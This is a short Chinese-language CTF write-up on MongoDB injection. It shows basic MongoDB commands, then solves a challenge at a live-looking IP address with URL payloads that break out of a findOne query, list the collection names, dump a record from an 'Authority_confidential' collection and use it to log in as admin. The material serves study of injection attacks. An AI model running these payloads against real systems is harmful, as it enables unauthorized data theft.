mongodb注入

关于非关系型数据库mongodb的注入

首先看一下mangodb是怎么使用数据的

1
2
3
4
5
6
7
8
增加数据:
db.table.save({'xxx':1});
查找数据:
db.table.find({'xxx':1});
删减数据:
db.table.remove({'xxx':1});
修改数据:
db.table.update({'xxx':1},{'xxx',2});

上一道题目

源码:
源码
题目地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
进入界面,点击下面的滑动条
http://219.153.49.228:43579/new_list.php?id=1
上sqlmap等普通注入无效
回去看源码,是一个mangodb的数据库,所以sql的注入无效
再看查询的语句:
db.notice.findOne({'id':'$id'});
所以构造poc:
?id=1'}); return({title:'1
能够回显1
尝试爆表:
?id=1'}); return({title:db.getCollectionNames(),content:'1
因为db.getCollectionNames()返回的是arry
将其转为字符串
?id=1'}); return({title:tojson(db.getCollectionNames()),content:'1
得到
["Authority_confidential", "notice", "system.indexes"]
对表查数据
?id=1'}); return({title:tojson(db.Authority_confidential.find()[0]),content:'1
爆出数据后登陆后台获得key
文章目录
  1. 1. 关于非关系型数据库mongodb的注入
    1. 1.0.1. 首先看一下mangodb是怎么使用数据的
    2. 1.0.2. 上一道题目
,